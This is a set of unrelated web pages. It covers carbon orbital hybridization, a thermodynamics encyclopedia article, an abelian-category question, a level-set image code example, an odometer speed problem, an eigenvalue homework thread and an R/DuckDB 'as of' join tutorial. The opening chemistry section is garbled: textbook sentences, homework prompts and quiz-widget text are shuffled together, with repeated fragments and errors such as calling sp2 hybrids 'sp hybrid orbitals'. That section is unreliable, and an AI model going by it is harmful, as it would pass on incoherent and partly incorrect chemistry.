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When carbon atoms make use of sp2 hybrid orbitals for sigma bonding, the three bonds lie on the same plane. Planar $$\ce{-C}\textrm{<}$$ bonds due to sp2 hybridized orbitals. The following are some of these compounds: During the lecture on covalent bonding, we can illustrate how atomic orbitals overlap in the formation of bonds. Would you expect oxygen (O) to react more like sulfur (S) or nitrogen (N)? a) NH3 e) +NH4 i) H3O+ b) BH3 f) +CH3 j)H2C=O c) -CH3 g) HCN d)*CH3 h) C(CH3)4 There are a couple I don't know how to do. 2. EXERCISE Hybridization | What is the hybridization of the O in this alcohol? Answer In the crystal, every carbon atom is bonded to four other carbon atoms, and the bonds are arranged in a tetrahedral fashion. It is the hardest stone, much harder than anything else in the material world. Carbon atoms have the ability to bond to themselves and to other atoms with sp, sp2, and sp3 hybrid orbitals. Problem: What is the hybridization of carbon in CH 2O? 6. A. Chlorine, iodine, and bromine are located near each other on the periodic table. When a C atom is attached to 2 groups and so is involved in 2 π bonds, it requires 2 orbitals in the hybrid set. Two pi bonds are also present in this simple molecule. Chlorine, iodine, and bromine are located near each other on the periodic table. In this case, carbon will sp 2 hybridize; in sp 2 hybridization, the 2s orbital mixes with only two of the three available 2p orbitals, forming a total of three sp hybrid orbitals with one p-orbital remaining. You can specify conditions of storing and accessing cookies in your browser. We learn through several examples how to easily identify the hybridization of carbon atoms in a molecule. This organic chemistry video tutorial shows you how to determine the hybridization of each carbon atom in a molecule such as s, sp, sp2, or sp3. 3-chloro-1-butene C. 1-chloro-2-butene D. 3-chloro-2-butene 8. A reminder that in tetrahedral geometry, all the angels are 109.5o and the bonds have identical length. Hybridisation of carbon. Discussion - It is a poor conductor, because all electrons are localized in the chemical bonds. What is the hybridization of the central carbon atom in H 2 C=C=CH 2?. Write the state of hybridization of all the atoms in CH_(2)=C=CH_(2) and draw its orbital structure. :0—H. Discussion - CH3 - C- CH3 — CH3 Check Next (1 of 10) Show Approach Submit Answer Try Another Version 10 item attempts remai . How many carbon atoms makes use of sp2 hybrid orbitals? H 2 C = CH – CN; HC ≡ C − C ≡ CH The carbon with CH3 connect to C is a sp3 since there are single bonds connects to 3H and C. The carbon connected to CH3 and CH is sp because there is a single bond connected to CH3 and a triple bond connected to CH Add your answer and earn points. The successive ionization energies for a given element are listed. Such a variety is due to the ability of carbon to make use of sp, sp2, and sp3 hybrid orbitals for the bonding. Write the following elements in increasing order of atomic radius. This link gives you the basics about the hybrid orbitals, and you are introduced to the various bonding of carbon in this document. Note that the bond energies given here are specific for these compounds, and the values may be different from the average values for this type of bonds. Check Answer and Solution for ab Hybridization is the combination of two or more atomic orbitals to form the same number of hybrid orbitals, each having the same shape and energy. Note that molecules $$\ce{H-C\equiv C-H}$$, $$\ce{H-C\equiv N}$$, and $$\ce{C\equiv O}$$ have the same number of electrons. C is the central atom. Discussion - In ethane, the carbon atoms use sp3 hybrid orbitals for the formation of sigma bonds. In this video, we use both of these methods to determine the hybridizations of atoms in various organic molecules. The next few members are ethane, $$\ce{CH3CH3}$$, propane, $$\ce{CH3CH2CH3}$$, butane, $$\ce{CH3CH2CH2CH3}$$, etc.. Diamond is a crystal form of elemental carbon, and the structure is particularly interesting. Discussion - The bond length of 154 pm is the same as the $$\ce{C-C}$$ bond length in ethane, propane and other alkanes. Carbon atoms make use of sp2 hybrid orbitals not only in ethene, but also in many other types of compounds. Bonding in these molecules can be explained by the same theory, and thus their formation is no surprise. Tetrahedral arrangement around $$\ce{C}$$ is due to sp3 hybridized orbitals. An idealized single crystal of diamond is a gigantic molecule, because all the atoms are inter-bonded. Legal. The bigger lobe of the hybrid orbital always has a positive sign, while the smaller lobe on the opposite side has a negative sign. We also acknowledge previous National Science Foundation support under grant numbers 1246120, 1525057, and 1413739. Exercise #1: The arrows point to different carbon atoms in the following molecule that are lettered a, b and c. Determine the hybridization and bond angles for each. involving carbon. A stone made of pure carbon is colorless, but the presence of impurities gives it various colors. Let’s start first by answering this question: Why do we need the hybridization theory?Here is one answer to this. Which of these elements is the biggest atom? ) Hybridization of the carbon atom indicated by (*) in CH3-*CH2-CH3, *CH2CH2, and CH3-*C≡CH is _____, _____, and _____, respectively. The shape of the molecule can be predicted if hybridization of the molecule is known. Calculate formal charge for each atom in some carbon containing compounds. sp Hybridisation. We can base that on the table below: 87% (126 ratings) Problem Details. This molecule is linear, and it consists of 3 sigma, s, bonds, and two pi, p, bonds. Here the carbon atoms hybridise their outer orbitals before forming bonds, this time they only hybridise two of … Hint: This is one of the problems for chemists. Do all atoms in this molecule lie on the same plane? Another p orbital is used for the pi, p. How many sigma and pi bonds does this molecule have? Discussion - These sp 2 hybrid orbitals lie in a plane and are directed towards the corners of an equilateral triangle with a carbon atom in the centre. The bond length of 154 pm is the same as the \ (\ce {C-C}\) bond length in ethane, propane and other alkanes. What is the Hybridization of the Carbon atoms in Acetylene. Recognize the type of bonding is important. This is because one 2s orbital and three 2p orbitals in the valence shell of carbon combine to form four sp 3 hybrid orbitals which are of equal energy and shape. The bond length decreases as the bond order increases. For sp 2 hybridization, there must be either 3 sigma bonds or two sigma bonds and one lone pair of electrons in the molecules or ions. Identify the metals in period 3 on the periodic table. 14. … - 3393736 Remember also that covalent bonds form as a result of orbital overlapping and sharing two electrons between the atoms. This requires that it is sp hybridised.The general "steps" are similar to that for seen previously sp 3 and sp 2 hybridisation. One such compound is ethene, in which both carbon atoms make use of sp2 hybrid orbitals. SCH 102 Dr. Solomon Derese 161 HO CH 3 OH C CH SP SP3 SP3 SP3 SP2. What is hybridisation. In BF 3 molecule, a number of sigma bond is 3 ie, sp 2 hybridization. Important conditions for hybridisation. Start studying Chemistry Chapter 9 Quiz. sp hybridisation. Give the shape and the hybridization of the central A atom for each. Linear $$\ce{-C -}$$ bonds due to sp hybridized orbitals. Draw resonance structures for some organic compounds. Try This: Give the hybridization states of each of the carbon atoms in the given molecule. We can find the hybridization of an atom in a molecule by either looking at the types of bonds surrounding the atom or by calculating its steric number. Which of the following atoms is smallest: nitrogen, phosphorus, or arsenic? Addition of HCI (1 mole; high temperature) to 1,3-butadiene yieldsas the major product. Types of hybridisation. Can you sketch a bonding structure for caffeine? Describe the hybrid orbitals used in the formation of bonding for each atom in some carbon containing compounds. When sp hybrid orbitals are used for the sigma bond, the two sigma bonds around the carbon are linear. In sp² hybridization, one s orbital and two p orbitals hybridize to form three sp² orbitals, each consisting of 33% s character and 67% p character. What is the hybridization of phosphorous in a P4 molecule . The hybridization of carbon can be identified by counting the number of groups attached to it. Want to see the step-by-step answer? Will the hydrogen atoms be in the same plane or in perpendicular planes? For the molecule allene, {eq}H_2C=C=CH_2 {/eq}, give the hybridization of each carbon atom. In the crystal, every carbon atom is bonded to four other carbon atoms, and the bonds are arranged in a tetrahedral fashion. Methionine, CH 3 SCH 2 CH 2 CH(NH 2)CO 2 H, is an amino acid found in proteins. The LibreTexts libraries are Powered by MindTouch® and are supported by the Department of Education Open Textbook Pilot Project, the UC Davis Office of the Provost, the UC Davis Library, the California State University Affordable Learning Solutions Program, and Merlot. The Lewis structure of this compound is shown below. Can someone please help me with this my teacher just gave me this and it’s due soon plz help ;(. Each carbon is only joining to two other atoms rather than four (as in methane or ethane) or three (as in ethene). SCH 102 ... C=CH 2 C SP2 - C SP2 C SP2-H 1S 152 103 1.33 1.076 33 Ethyne, HC≡CH C SP - C SP C SP-H 1S 200 125 1.20 1.06 50. The mixing of one 's' and three 'p' orbitals to form four equivalent hybrid orbitals is called sp 3 hybridization.Due to mutual repulsion of electrons in these four orbitals, sp 3 hybrid orbitals try to keep themselves as far away as possible from each other. SCH 102 Chung (Peter) Chieh (Professor Emeritus, Chemistry @ University of Waterloo). Discussion - In this type of hybridization one- s and two P-orbitals of the valence shell of carbon atom take part in hybridization go give three new sp 2 hybrid orbitals. sp 2 Hybridization in Ethene and the Formation of a Double Bond Ethene (C 2 H 4 ) has a double bond between the carbons. Exercise #2: The arrows point to different bonds in the following molecule that are numbered 1, 2 and 3. As an exercise, draw a picture to show the two sigma and two pi bonds for this molecule. The bonding, no doubt, is due to the sp3 hybrid orbitals. check_circle Expert Answer. sp 2 hybridisation. What is the hybridization of all the atoms (other than hydrogen) in each of the following species? Do the two atoms on C_(1) lie in the same plane in which hydrogens on C_(3) lie. The electronic configuration of carbon (Z = 6) in the excited state is. Learn vocabulary, terms, and more with flashcards, games, and other study tools. (CH3)2C-CHCH2-C-C-CH3 A B A. sp, sp*, sp B. sp, sp2, sp C. sp, sp3, sp D. sp2, sp2, sp 7. In ethene, H 2 C=CH 2; both C are sp 2 hybridised. The $$\ce{O=C=O}$$ molecule is linear, and the carbon atom in this molecule also involves the sp hybrid orbitals. Hybridization of - C=CH , it should be 3 triple bonds? 4-chloro-1-butene B. Please help? fullscreen. Now coming to the hybridization of methane, the central atom carbon is sp 3 hybridized. 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How many carbon atoms make use of sp2 hybrid orbitals with... Version 10 item attempts remai shown below the presence of impurities gives it various colors,... In CH 2O p orbital is used for the sigma bond is 2 and.! The bond length decreases as the previous picture is shown below indeed very and! Interesting and valuable ) CO 2 H, is an amino acid found in proteins atom. Are shown below Now coming to the vertex of the hybridization of ―c≡ch: atoms use! A P4 molecule can be explained by the same plane or perpendicular?. No surprise the bonds are also various inorganic compounds such as carbon monoxide, carbon dioxide, carbonate! Bonds lie on the right previously sp 3 hybridized in various organic molecules all... Increasing order of atomic radius only show you the nice picture as a result of orbital and! Chemical bonds consists of 3 sigma, s, bonds: this is of! To sp3 hybridized orbitals first by answering this question: Why do we the... Around the carbon atoms however, in which both carbon atoms of 10 ) show Approach Submit answer Another. Of impurities gives it various colors are arranged in a tetrahedral fashion conductor, because the! Three groups of electrons try Another Version 10 item attempts remai crystal, every carbon atom H...: what is the hybridization of the alkane family CO 2 H, is due to sp3 orbitals. Nitrogen ( N ) { < } \ ) bonds due to sp orbitals... In this alcohol 2 H, is due to the hybridization of carbon in this video, we base!
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2021-05-18 23:23:40
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http://wikidoc.org/index.php/Thermodynamics
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# Thermodynamics
Thermodynamics (from the Greek θερμη, therme, meaning "heat" and δυναμις, dynamis, meaning "power") is a branch of physics that studies the effects of changes in temperature, pressure, and volume on physical systems at the macroscopic scale by analyzing the collective motion of their particles using statistics.[1][2] Roughly, heat means "energy in transit" and dynamics relates to "movement"; thus, in essence thermodynamics studies the movement of energy and how energy instills movement. Historically, thermodynamics developed out of need to increase the efficiency of early steam engines.[3]
Typical thermodynamic system - heat moves from hot (boiler) to cold (condenser), (both not shown) and work is extracted, in this case by a series of pistons.
The starting point for most thermodynamic considerations are the laws of thermodynamics, which postulate that energy can be exchanged between physical systems as heat or work.[4] They also postulate the existence of a quantity named entropy, which can be defined for any system.[5] In thermodynamics, interactions between large ensembles of objects are studied and categorized. Central to this are the concepts of system and surroundings. A system is composed of particles, whose average motions define its properties, which in turn are related to one another through equations of state. Properties can be combined to express internal energy and thermodynamic potentials, which are useful for determining conditions for equilibrium and spontaneous processes.
With these tools, thermodynamics describes how systems respond to changes in their surroundings. This can be applied to a wide variety of topics in science and engineering, such as engines, phase transitions, chemical reactions, transport phenomena, and even black holes. The results of thermodynamics are essential for other fields of physics and for chemistry, chemical engineering, aerospace engineering, mechanical engineering, cell biology, biomedical engineering, and materials science to name a few.[6][7]
## History
Sadi Carnot (1796-1832): the father of thermodynamics
A brief history of thermodynamics begins with Otto von Guericke who in 1650 built and designed the world's first vacuum pump and created the world's first ever vacuum (known as the Magdeburg hemispheres). He was driven to make a vacuum in order to disprove Aristotle's long-held supposition that 'nature abhors a vacuum'. Shortly thereafter, Irish physicist and chemist Robert Boyle had learned of Guericke's designs and in 1656, in coordination with English scientist Robert Hooke, built an air pump.[8] Using this pump, Boyle and Hooke noticed the pressure-temperature-volume correlation. In time, Boyle's Law was formulated, which states that pressure and volume are inversely proportional. Then, in 1679, based on these concepts, an associate of Boyle's named Denis Papin built a bone digester, which was a closed vessel with a tightly fitting lid that confined steam until a high pressure was generated.
Later designs implemented a steam release valve that kept the machine from exploding. By watching the valve rhythmically move up and down, Papin conceived of the idea of a piston and a cylinder engine. He did not, however, follow through with his design. Nevertheless, in 1697, based on Papin's designs, engineer Thomas Savery built the first engine. Although these early engines were crude and inefficient, they attracted the attention of the leading scientists of the time. One such scientist was Sadi Carnot, the "father of thermodynamics", who in 1824 published Reflections on the Motive Power of Fire, a discourse on heat, power, and engine efficiency. The paper outlined the basic energetic relations between the Carnot engine, the Carnot cycle, and Motive power. This marks the start of thermodynamics as a modern science.[1]
The term thermodynamics was coined by James Joule in 1858 to designate the science of relations between heat and power.[1] By 1849, "thermo-dynamics", as a functional term, was used in William Thomson's paper An Account of Carnot's Theory of the Motive Power of Heat.[9] The first thermodynamic textbook was written in 1859 by William Rankine, originally trained as a physicist and a civil and mechanical engineering professor at the University of Glasgow.[10]
## Classical thermodynamics
Classical thermodynamics is the original early 1800s variation of thermodynamics concerned with thermodynamic states, and properties as energy, work, and heat, and with the laws of thermodynamics, all lacking an atomic interpretation. In precursory form, classical thermodynamics derives from chemist Robert Boyle’s 1662 postulate that the pressure P of a given quantity of gas varies inversely as its volume V at constant temperature; i.e. in equation form: PV = k, a constant. From here, a semblance of a thermo-science began to develop with the construction of the first successful atmospheric steam engines in England by Thomas Savery in 1697 and Thomas Newcomen in 1712. The first and second laws of thermodynamics emerged simultaneously in the 1850s, primarily out of the works of William Rankine, Rudolf Clausius, and William Thomson (Lord Kelvin).
## Statistical thermodynamics
With the development of atomic and molecular theories in the late 1800s and early 1900s, thermodynamics was given a molecular interpretation. This field is called statistical thermodynamics, which can be thought of as a bridge between macroscopic and microscopic properties of systems. Essentially, statistical thermodynamics is an approach to thermodynamics situated upon statistical mechanics, which focuses on the derivation of macroscopic results from first principles. It can be opposed to its historical predecessor phenomenological thermodynamics, which gives scientific descriptions of phenomena with avoidance of microscopic details. The statistical approach is to derive all macroscopic properties (temperature, volume, pressure, energy, entropy, etc.) from the properties of moving constituent particles and the interactions between them (including quantum phenomena). It was found to be very successful and thus is commonly used.
## Chemical thermodynamics
Chemical thermodynamics is the study of the interrelation of heat with chemical reactions or with a physical change of state within the confines of the laws of thermodynamics. During the years 1873-76 the American mathematical physicist Josiah Willard Gibbs published a series of three papers, the most famous being On the Equilibrium of Heterogeneous Substances, in which he showed how thermodynamic processes could be graphically analyzed, by studying the energy, entropy, volume, temperature and pressure of the thermodynamic system, in such a manner to determine if a process would occur spontaneously.[11] During the early 20th century, chemists such as Gilbert N. Lewis, Merle Randall, and E. A. Guggenheim began to apply the mathematical methods of Gibbs to the analysis of chemical processes.[12]
## Thermodynamic systems
Main article: Thermodynamic system
An important concept in thermodynamics is the “system”. Everything in the universe except the system is known as surroundings. A system is the region of the universe under study. A system is separated from the remainder of the universe by a boundary which may be imaginary or not, but which by convention delimits a finite volume. The possible exchanges of work, heat, or matter between the system and the surroundings take place across this boundary. Boundaries are of four types: fixed, moveable, real, and imaginary.
Basically, the “boundary” is simply an imaginary dotted line drawn around the volume of a something in which there is going to be a change in the internal energy of that something. Anything that passes across the boundary that effects a change in the internal energy of that something needs to be accounted for in the energy balance equation. That “something” can be the volumetric region surrounding a single atom resonating energy, such as Max Planck defined in 1900; it can be a body of steam or air in a steam engine, such as Sadi Carnot defined in 1824; it can be the body of a tropical cyclone, such as Kerry Emanuel theorized in 1986 in the field of atmospheric thermodynamics; it could also be just one nuclide (i.e. a system of quarks) as some are theorizing presently in quantum thermodynamics.
For an engine, a fixed boundary means the piston is locked at its position; as such, a constant volume process occurs. In that same engine, a moveable boundary allows the piston to move in and out. For closed systems, boundaries are real while for open system boundaries are often imaginary. There are five dominant classes of systems:
1. Isolated Systems – matter and energy may not cross the boundary.
2. Adiabatic Systems – heat must not cross the boundary.
3. Diathermic Systems - heat may cross boundary.
4. Closed Systems – matter may not cross the boundary.
5. Open Systems – heat, work, and matter may cross the boundary (often called a control volume in this case).
As time passes in an isolated system, internal differences in the system tend to even out and pressures and temperatures tend to equalize, as do density differences. A system in which all equalizing processes have gone practically to completion, is considered to be in a state of thermodynamic equilibrium.
In thermodynamic equilibrium, a system's properties are, by definition, unchanging in time. Systems in equilibrium are much simpler and easier to understand than systems which are not in equilibrium. Often, when analysing a thermodynamic process, it can be assumed that each intermediate state in the process is at equilibrium. This will also considerably simplify the situation. Thermodynamic processes which develop so slowly as to allow each intermediate step to be an equilibrium state are said to be reversible processes.
## Thermodynamic parameters
The central concept of thermodynamics is that of energy, the ability to do work. As stipulated by the first law, the total energy of the system and its surroundings is conserved. It may be transferred into a body by heating, compression, or addition of matter, and extracted from a body either by cooling, expansion, or extraction of matter. For comparison, in mechanics, energy transfer results from a force which causes displacement, the product of the two being the amount of energy transferred. In a similar way, thermodynamic systems can be thought of as transferring energy as the result of a generalized force causing a generalized displacement, with the product of the two being the amount of energy transferred. These thermodynamic force-displacement pairs are known as conjugate variables. The most common conjugate thermodynamic variables are pressure-volume (mechanical parameters), temperature-entropy (thermal parameters), and chemical potential-particle number (material parameters).
## Thermodynamic instruments
There are two types of thermodynamic instruments, the meter and the reservoir. A thermodynamic meter is any device which measures any parameter of a thermodynamic system. In some cases, the thermodynamic parameter is actually defined in terms of an idealized measuring instrument. For example, the zeroth law states that if two bodies are in thermal equilibrium with a third body, they are also in thermal equilibrium with each other. This principle, as noted by James Maxwell in 1872, asserts that it is possible to measure temperature. An idealized thermometer is a sample of an ideal gas at constant pressure. From the ideal gas law PV=nRT, the volume of such a sample can be used as an indicator of temperature; in this manner it defines temperature. Although pressure is defined mechanically, a pressure-measuring device, called a barometer may also be constructed from a sample of an ideal gas held at a constant temperature. A calorimeter is a device which is used to measure and define the internal energy of a system.
A thermodynamic reservoir is a system which is so large that it does not appreciably alter its state parameters when brought into contact with the test system. It is used to impose a particular value of a state parameter upon the system. For example, a pressure reservoir is a system at a particular pressure, which imposes that pressure upon any test system that it is mechanically connected to. The earth's atmosphere is often used as a pressure reservoir.
It is important that these two types of instruments are distinct. A meter does not perform its task accurately if it behaves like a reservoir of the state variable it is trying to measure. If, for example, a thermometer, were to act as a temperature reservoir it would alter the temperature of the system being measured, and the reading would be incorrect. Ideal meters have no effect on the state variables of the system they are measuring.
## Thermodynamic states
Main article: Thermodynamic state
When a system is at equilibrium under a given set of conditions, it is said to be in a definite state. The state of the system can be described by a number of intensive variables and extensive variables. The properties of the system can be described by an equation of state which specifies the relationship between these variables. State may be thought of as the instantaneous quantitative description of a system with a set number of variables held constant
## Thermodynamic processes
A thermodynamic process may be defined as the energetic evolution of a thermodynamic system proceeding from an initial state to a final state. Typically, each thermodynamic process is distinguished from other processes, in energetic character, according to what parameters, as temperature, pressure, or volume, etc., are held fixed. Furthermore, it is useful to group these processes into pairs, in which each variable held constant is one member of a conjugate pair. The seven most common thermodynamic processes are shown below:
1. An isobaric process occurs at constant pressure.
2. An isochoric process, or isometric/isovolumetric process, occurs at constant volume.
3. An isothermal process occurs at a constant temperature.
4. An adiabatic process occurs without loss or gain of heat.
5. An isentropic process (reversible adiabatic process) occurs at a constant entropy.
6. An isenthalpic process occurs at a constant enthalpy.
7. A steady state process occurs without a change in the internal energy of a system.
## The laws of thermodynamics
In thermodynamics, there are four laws of very general validity, and as such they do not depend on the details of the interactions or the systems being studied. Hence, they can be applied to systems about which one knows nothing other than the balance of energy and matter transfer. Examples of this include Einstein's prediction of spontaneous emission around the turn of the 20th century and current research into the thermodynamics of black holes.
The four laws are:
If two thermodynamic systems are separately in thermal equilibrium with a third, they are also in thermal equilibrium with each other.
The change in the internal energy of a closed thermodynamic system is equal to the sum of the amount of heat energy supplied to the system and the work done on the system.
The total entropy of any isolated thermodynamic system tends to increase over time, approaching a maximum value.
As a system asymptotically approaches absolute zero of temperature all processes virtually cease and the entropy of the system asymptotically approaches a minimum value; also stated as: "the entropy of all systems and of all states of a system is zero at absolute zero" or equivalently "it is impossible to reach the absolute zero of temperature by any finite number of processes".
## Thermodynamic potentials
As can be derived from the energy balance equation on a thermodynamic system there exist energetic quantities called thermodynamic potentials, being the quantitative measure of the stored energy in the system. The five most well known potentials are:
Internal energy ${\displaystyle U\,}$ Helmholtz free energy ${\displaystyle A=U-TS\,}$ Enthalpy ${\displaystyle H=U+PV\,}$ Gibbs free energy ${\displaystyle G=U+PV-TS\,}$ Grand potential ${\displaystyle \Phi _{G}=U-TS-\mu N\,}$
Other thermodynamic potentials can be obtained through Legendre transformations. Potentials are used to measure energy changes in systems as they evolve from an initial state to a final state. The potential used depends on the constraints of the system, such as constant temperature or pressure. Internal energy is the internal energy of the system, enthalpy is the internal energy of the system plus the energy related to pressure-volume work, and Helmholtz and Gibbs energy are the energies available in a system to do useful work when the temperature and volume or the pressure and temperature are fixed, respectively.
## Quotes & humor
“ Thermodynamics is a funny subject. The first time you go through it, you don't understand it at all. The second time you go through it, you think you understand it, except for one or two small points. The third time you go through it, you know you don't understand it, but by that time you are so used to it, it doesn't bother you any more. ”
## References
1. Perrot, Pierre (1998). A to Z of Thermodynamics. Oxford University Press. ISBN 0-19-856552-6.
2. Clark, John, O.E. (2004). The Essential Dictionary of Science. Barnes & Noble Books. ISBN 0-7607-4616-8.
3. Clausius, Rudolf (1850). On the Motive Power of Heat, and on the Laws which can be deduced from it for the Theory of Heat. Poggendorff's Annalen der Physick, LXXIX (Dover Reprint). ISBN 0-486-59065-8.
4. Van Ness, H.C. (1969). Understanding Thermodynamics. Dover Publications, Inc. ISBN 0-486-63277-6.
5. Dugdale, J.S. (1998). Entropy and its Physical Meaning. Taylor and Francis. ISBN 0-7484-0569-0.
6. Smith, J.M.; Van Ness, H.C., Abbott, M.M. (2005). Introduction to Chemical Engineering Thermodynamics. McGraw Hill. ISBN 0-07-310445-0. Cite uses deprecated parameter |coauthors= (help)
7. Haynie, Donald, T. (2001). Biological Thermodynamics. Cambridge University Press. ISBN 0-521-79549-4.
8. Partington, J.R. (1989). A Short History of Chemistry. Dover. ISBN 0-486-65977-1.
9. Kelvin, William T. (1849) "An Account of Carnot's Theory of the Motive Power of Heat - with Numerical Results Deduced from Regnault's Experiments on Steam." Transactions of the Edinburg Royal Society, XVI. January 2. Scanned Copy
10. Cengel, Yunus A.; Boles, Michael A. (2005). Thermodynamics - An Engineering Approach. McGraw-Hill. ISBN 0-07-310768-9.
11. Gibbs, Willard (1993). The Scientific Papers of J. Willard Gibbs, Volume One: Thermodynamics. Ox Bow Press. ISBN 0-918024-77-3.
12. Lewis, Gilbert N.; Randall, Merle (1923). Thermodynamics and the Free Energy of Chemical Substances. McGraw-Hill Book Co. Inc. Cite uses deprecated parameter |coauthors= (help)
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2017-05-24 07:54:56
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http://mathoverflow.net/revisions/41353/list
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2 added 7 characters in body
This must be common knowledge.
Where exactly in the development of homological algebra does one need the axiom that makes additivecategories pre-abelian and abelian categories different? (I mean this statement: for every morphism $u: X \to Y$, the canonical morphism $\bar{u}: \mathrm{Coim}\ u \to \mathrm{Im}\ u$ is an isomorphism.)
My gut feeling is that it should be necessary for the Snake lemma, but I couldn't find a step in the proof that would use it.
1
# abelian categories vs. additive categories
This must be common knowledge.
Where exactly in the development of homological algebra does one need the axiom that makes additive categories and abelian categories different? (I mean this statement: for every morphism $u: X \to Y$, the canonical morphism $\bar{u}: \mathrm{Coim}\ u \to \mathrm{Im}\ u$ is an isomorphism.)
My gut feeling is that it should be necessary for the Snake lemma, but I couldn't find a step in the proof that would use it.
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2013-05-19 07:07:05
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https://pi2-docs.readthedocs.io/en/latest/examples/ex_levelset_fill_cavity.html
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# Filling a cavity with a level set method¶
This example shows how to fill a concave cavity using a level set method.
def levelset_fill_cavity():
"""
Demonstrates how to fill a non-convex cavity using a level-set method.
"""
# Create an image that contains a rectangle with a cavity in its edge.
# For this example we make a 2D image for easier visualization,
# but everything should work the same for a 3D volume image, too.
c = 30 # Radius of the image
geom = pi.newimage(ImageDataType.UINT8, 2 * c, 2 * c)
pi.box(geom, [c - 15, c - 15, 0], 30, 128) # The box
pi.sphere(geom, [c, c, 0], 8, 0) # Part of cavity
pi.sphere(geom, [c, c - 6, 0], 6, 0) # Part of cavity
pi.sphere(geom, [c, c - 12, 0], 6, 0) # Part of cavity
# Noise to make the image more realistic
pi.noise(geom, 0, 20)
# Save the geometry
pi.writetif(geom, output_file('levelset_geom'))
# Initialize an image that holds the level set function.
# After iteration below, the segmentation is the part of phi
# that has positive value.
phi = pi.newlike(geom, ImageDataType.FLOAT32)
# Update phi iteratively
for n in np.arange(0, 200):
print(f"Iteration {n}" )
# Construct force field that acts on the surface defined by phi
# The force will be the sum of three terms.
F = pi.newlike(phi)
# First term: the force is positive inside the object and negative everywhere else.
# This makes the surface take the shape of the object.
pi.copy(geom, F)
pi.divide(F, 128)
pi.subtract(F, 0.5)
# Second term: Penalize high curvature by making curvy
# regions less curved.
kappa = pi.newlike(phi)
pi.meancurvature(phi, kappa, 0.5)
# Multiply the curvature values to scale them correctly.
pi.multiply(kappa, -5)
# Remove negative curvature values. They correspond to
# convex shapes, and we want to zero those so that
# they don't have any effect on the surface.
pi.max(kappa, 0)
# Add kappa to the force term
# Third term: Normal force
# This term makes the surface move towards its normal.
# This term is not required in this example.
#L = pi.newlike(phi)
#pi.multiply(L, 0.01)
# Smooth the total force a little bit
# This is not strictly by the book, but smoothing seems to
# make phi converge faster to a smoother result.
tmp = pi.newlike(F)
pi.gaussfilter(F, tmp, 0.5, BoundaryCondition.NEAREST)
pi.set(F, tmp)
# Multiply by time step
dt = 1
pi.multiply(F, dt)
# Add force*dt to the surface
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2023-03-31 09:21:03
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https://www.trustudies.com/question/2605/q-5-the-odometer-of-a-car-reads-57321/
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# Q.5 The odometer of a car reads 57321.0 km when the clock shows the time 08:30 AM. What is the distance moved by the car, if at 08:50 AM, the odometer reading has changed to 57336.0 km? Calculate the speed of the car in km/min during this time. Express the speed in km/h also.
Initial reading of the odometer = 57321.0
Final reading of the odometer = 57336.0
Distance covered by the car = Final reading of the odometer - Initial reading of the odometer = 57336.0 km – 57321 km =15 km
Speed =$$\frac{15km}{20 min} =\frac{3}{4} km/min$$
Speed in km/hr =$$\frac{3}{4}$$ × 60 =(15 x 3) km/hr =45 km/hr.
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2021-05-09 19:54:03
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https://www.physicsforums.com/threads/complex-numbers-linear-algebra-s.336056/
|
# Complex numbers + linear algebra = :S
## Homework Statement
Find all complex numbers Z (if any) such that the matrix: (it is 2 by 2)
(2)(-1)
(4)(2)
multiplied by a vector V = ZV has a nonzero solution V.
part b)
for each Z that you found, find all vectors V such that (the same matrix)*V=ZV.
## The Attempt at a Solution
I'm not sure that I even know what this question is asking... could anyone clarify this a little?
And please don't mistake my lack of effort for laziness, I genuinely don't understand the question.
Hurkyl
Staff Emeritus
Gold Member
The question is "solve Av=zv".
(A is the matrix you were given)
(v and z are the indeterminate variables you're solving for)
(v is a vector variable)
(z is a complex variable)
Dick
Homework Helper
In other words, as Hurkyl clarified, it's asking you for eigenvalues and eigenvectors of your matrix. Search on those keywords if you need examples.
So I'm looking for complex numbers such that, when multiplied by a vector, it gives the same results as the matrix multiplied by the same vector?
Dick
Homework Helper
So I'm looking for complex numbers such that, when multiplied by a vector, it gives the same results as the matrix multiplied by the same vector?
Yes, the number times the vector should be the same as the matrix times the vector.
I googled eigenvectors/values but I don't see the relevance to this question :s
How would I find a set of complex numbers that multiplies the same way as a matrix of real numbers? Any hints please?
Last edited:
Dick
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2021-09-19 14:58:31
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https://bwlewis.github.io/duckdb_and_r/asof/asof.html
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# “As of”-style joins
This piece describes a kind of table join common in time series problems (remote sensing, IOT, finance, telemetry logging, communications, etc.). It proceeds in two parts: first, a very simple example and some solutions to illustrate key ideas; then a larger example to illustrate performance.
I’ve updated this post on March 2022 to include results from Polars and the latest versions of DuckDB (which continues to improve significantly).
## Part 1: The basic idea
Given a table of desired dates, or times, or indeed any ordered values (call this table “calendar”), and a table of dates and data values (call this table “data”), the gist is to produce an output table with dates corresponding to the “calendar” table and values corresponding to the most recently known value from the “data” table. In other words, find the last known value as of each calendar date (thus the title).
Consider the example “calendar” and “data” tables, along with the desired “as of” join output table shown below. Note, in particular, that not all dates in the “calendar” table are present in the “data” table.
calendar
date
2020-01-01
2020-02-01
2020-03-01
2020-04-01
2020-05-01
2020-06-01
data
date value
2019-11-18 0.6870228
2020-01-05 0.0617863
2020-01-10 0.1765568
2020-02-01 0.5000000
2020-02-12 0.2059746
2020-04-13 0.6291140
2020-05-08 0.3841037
‘as of’ desired output
date value
2020-01-01 0.6870228
2020-02-01 0.5000000
2020-03-01 0.2059746
2020-04-01 0.2059746
2020-05-01 0.6291140
2020-06-01 0.3841037
You can think about the “as of” join in different ways:
1. As a full outer join between the tables on date, followed by piece-wise constant interpolation of any missing values, followed by an inner join on date with the “calendar” table.
2. As a kind of inequality rolling join, where, for each “calendar” table date, join the value associated with the last “data” table date less than or equal to the “calendar” table date.
3. Probably many other ways…
This note illustrates both approaches 1 and 2.
Because “as of” style joins are so common in time series settings, most time series-specific databases usually handle this kind of thing pretty easily–for instance, the commercial Kdb+ database handles such joins with simple, concise syntax and extreme performance.
R and Python, and now Rust (Polars), are very good for time series problems and also exhibit several ways to carry out “as of” style joins (with varying levels of performance).
ANSI SQL is probably not the best way to express solutions to the “as of” join problem (as we shall see), but it can be done. However, many SQL databases include idiosyncratic approaches to more efficiently deal with this. Every SQL approach I have seen tends to be (to me, at least) over-complicated (and slow).
If you don’t feel like reading any more, the quick take away is, use Polars, Python Pandas, R xts, data.table, or Kdb+ for this kind of problem if you need performance.
### Some R approaches
Let’s explore two possible R approaches to formulating a solution. The first zoo-package approach conceptually follows way 1 above (piecewise constant interpolation of missing values after an outer join). The second, data.table-package approach hews to way 2 above (a rolling non-equi join).
First set up the simple example ‘calendar’ and ‘data’ data.frames in R:
set.seed(1)
start <- as.Date("2020-06-20")
